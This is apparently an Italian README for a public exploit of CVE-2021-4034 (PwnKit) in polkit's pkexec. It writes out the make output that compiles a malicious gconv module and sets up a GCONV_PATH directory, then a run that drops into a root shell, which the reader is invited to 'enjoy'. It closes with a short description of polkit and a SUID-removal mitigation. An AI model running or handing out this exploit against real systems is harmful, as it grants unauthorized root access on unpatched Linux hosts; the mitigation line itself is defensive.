
# Exploit per CVE-2021-4034 in polkit pkexec, che fornisce una shell di root tramite escalation dei privilegi SUID. Include codice sorgente e istruzioni di compilazione.
Exploit per l'escalation dei privilegi di polkit
Basta eseguire make, ./cve-2021-4034 e godersi la shell di root.
L'advisory originale del mio team di Qualys qui
Se l'exploit funziona, otterrai subito una shell di root:
kali@user:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
L'aggiornamento di polkit sulla maggior parte dei sistemi correggerà l'exploit, quindi otterrai l'utilizzo e il programma terminerà:
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
kali@user:~/CVE-2021-4034$
Polkit (precedentemente PolicyKit) è un componente per il controllo dei privilegi a livello di sistema nei sistemi operativi simili a Unix. Fornisce un modo organizzato per i processi non privilegiati di comunicare con i processi privilegiati. È anche possibile usare polkit per eseguire comandi con privilegi elevati usando il comando pkexec seguito dal comando che si intende eseguire (con permessi di root).
Se non sono disponibili patch per il tuo sistema operativo, puoi rimuovere il bit SUID da pkexec come mitigazione temporanea.
# chmod 0755 /usr/bin/pkexec